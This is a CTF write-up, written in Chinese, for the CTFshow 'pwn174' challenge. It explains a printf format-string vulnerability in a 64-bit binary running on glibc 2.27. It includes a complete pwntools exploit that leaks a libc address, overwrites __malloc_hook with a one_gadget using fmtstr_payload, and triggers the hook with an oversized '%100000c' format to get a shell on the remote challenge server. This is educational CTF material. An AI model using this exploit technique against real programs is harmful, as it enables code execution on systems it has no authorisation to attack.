CTFshow-pwn174
[!NOTE]
fmt?但是也跟之前不一样了好像
- 远程环境:Ubuntu 18.04
libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1
检查保护, got 表不可修改
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn174
[*] '/home/niuyingying/ctf/pwn/pwn174'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序流程非常简单,三次格式字符串漏洞
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
_libc_start_main(main, v4, &retaddr, init, fini, a3, &v5);
__halt();
}
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
int i; // [rsp+Ch] [rbp-114h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]
v6 = __readfsqword(0x28u);
sub_86A();
for ( i = 0; i <= 2; ++i )
{
v3 = fgets(s, 256, stdin);
printf(v3);
}
exit(0);
}
需要知道的是,在旧版 glibc 中,可通过构造超大宽度的 printf 格式符,间接触发内部的 malloc/free,从而配合 hook 覆盖实现控制流劫持
攻击脚本如下
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn174')
libc = ELF('./libc-2.27.so')
# io = process('./pwn174')
io = remote("pwn.challenge.ctf.show",28221)
# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')
# io = gdb.debug(
# './pwn174',
# gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0x9CB
# c
# '''
# )
io.sendline(b"aa%43$p")
io.recvuntil(b"0x")
leak = int(io.recvn(12),16)
print(hex(leak))
# 0x762621021b97 - 0x762621000000
libc_base = leak - 0x21b97
print(hex(libc_base))
one_gadget = libc_base + 0x10a38c
malloc_hook = libc_base + libc.sym['__malloc_hook']
payload = fmtstr_payload(8, {malloc_hook: one_gadget})
io.sendline(payload)
io.sendline('%100000c')
io.interactive()

浙公网安备 33010602011771号